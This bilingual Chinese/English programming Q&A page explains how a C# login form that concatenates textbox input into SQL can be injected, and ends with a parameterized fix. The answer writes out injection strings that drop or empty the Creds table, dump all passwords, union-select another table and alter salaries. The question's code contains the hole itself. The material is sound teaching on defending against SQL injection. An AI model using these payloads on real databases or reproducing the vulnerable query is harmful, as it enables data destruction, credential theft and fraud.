如何暴露坏代码的弱点 [英] How to expose the weakness of bad code
问题描述
您好,我一再被告知不要在我的 sql 代码中使用连接,以免发生sql 注入攻击.但是我已经尝试破解我自己的代码,没有成功.甚至可以通过窗口形式sql-inject吗?请在下面找到相关的代码段:
Hi I've been repeatedly told not to use concatenation in my sql code for fear of an sql-injection attack. However I've tried to crack my own code with No success. Is out even possible to sql-inject through a window form? Please find the relevant piece of code below:
SqlConnection con = new SqlConnection(
"Data Source=PV10\\LOCALSERVER;Initial Catalog=dbtest;Integrated Security=True");
con.Open();
SqlCommand cmd = new SqlCommand(
"select * from Creds where Username= '" +
textBox1.Text +
"' and Password='" +
textBox2.Text +
"'",
con);
SqlDataReader dr;
dr = cmd.ExecuteReader();
while(dr.Read())
{
...
}
推荐答案
很多伟大的事情都可以做:
Many a great thing can be performed:
销毁:放入*'或1 = 1;将表 Creds --
放入 textBox1.Text
中,查询将是
Destruction: put *' or 1 = 1; drop table Creds --
into textBox1.Text
and the query will be
select * from Creds where Username= '*' or 1 = 1;
drop table Creds -- and Password=''
您有两个查询;第二个掉落 creds
表
you have two queries; the second one drops creds
table
删除:放*'或1=1;从 Creds --
删除到 textBox1.Text
,查询将是
Deletion: put *' or 1 = 1; delete from Creds --
into textBox1.Text
and the query will be
select * from Creds where Username= '*' or 1 = 1;
delete from Creds -- and Password=''
您有两个查询;第二个清除creds
表
you have two queries; the second one clears creds
table
间谍:将 '/*
放入 textBox1.Text
和 */或 '*' = '*
> 进入 textBox2.Text
并且查询将是
Espionage: put ' /*
into textBox1.Text
and */ or '*' = '*
into textBox2.Text
and the query will be
select * from Creds where Username= ' ' /* and Password= '*/ or '*' = '*'
此查询返回所有用户及其密码.启动监视器/嗅探器并读取返回的值.你想从其他表中获取一些数据吗?就放' union all select SecretField, TopSecretField from Secrets --
到 textBox2.Text
,你会得到
this query returns all the users with their passwords. Start monitor/sniffer and read the values returned. Do you want some data from other table? Just put
' union all select SecretField, TopSecretField from Secrets --
into textBox2.Text
and you'll get
select * from Creds where Username= '' and password = ''
union all
select SecretField, TopSecretField from Secrets --'
Hack:你能看到一条记录大老板"、绝密密码"吗?是时候用这个登录了用户名/密码并输入*' 或 1 = 1;更新信用设置工资 = 1000000/*适度*/where userName = 'PoorLittleMe'--
到 textBox1.Text
并且查询将是
Hack: can you see a record "Big boss", "Top secret password"? It's very time to login with this
username/password and put
*' or 1 = 1; update Creds set salary = 1000000 /*be modest*/ where userName = 'PoorLittleMe'--
into textBox1.Text
and the query will be
select * from Creds where Username= '*' or 1 = 1;
update Creds set salary = 1000000 /*be modest*/ where userName = 'PoorLittleMe' -- and Password=''
同样,你有两个查询,很容易猜出第二个查询做了什么;那你可能想买一张去阿根廷的机票.
again, you have two queries, and it's quite easy to guess what does the second query do; you may want to buy a ticket to Argentina then.
技巧:将自己注册为d'Artagnan
;这样的名字在查询时完全正确
Trick: register youself as d'Artagnan
; such a name being perfectly right when put into query
select * from Creds where Username= 'd'Artagnan' and Password='mypassword'
将导致语法错误(并且很可能是资源泄漏 - 你还没有包装 IDisposable
- Connection
、Command
、Reader
变成using
)
will cause a syntax error (and most probably resourse leakage - you haven't wraped IDisposable
- Connection
, Command
, Reader
into using
)
最后,应该怎么做:
// wrap IDisposable into using
// do not hardcode the connection string
using (SqlConnection con = new SqlConnection(/*read the connection string here*/)) {
con.Open();
// Make Sql being readable
// You don't want at least Username field to be returned (you have in textBox1.Text)
string sql =
@"select Permissions, --TODO: put right fields here
Status
from Creds
where PasswordHash = @prm_PasswordHash and -- do not store password as plain text
Username = @prm_UserName";
// wrap IDisposable into using
using (SqlCommand cmd = new SqlCommand(sql, con)) {
// do not store password as a plain text, but as a hash
//TODO: AddWithValue is not the best choice; put actual parameters' types here
cmd.Parameters.AddWithValue("@prm_PasswordHash", ComputeHash(textBox2.Text));
cmd.Parameters.AddWithValue("@prm_UserName", textBox1.Text);
using (dr = cmd.ExecuteReader()) {
while (dr.Read()) {
...
}
}
}
}
这篇关于如何暴露坏代码的弱点的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!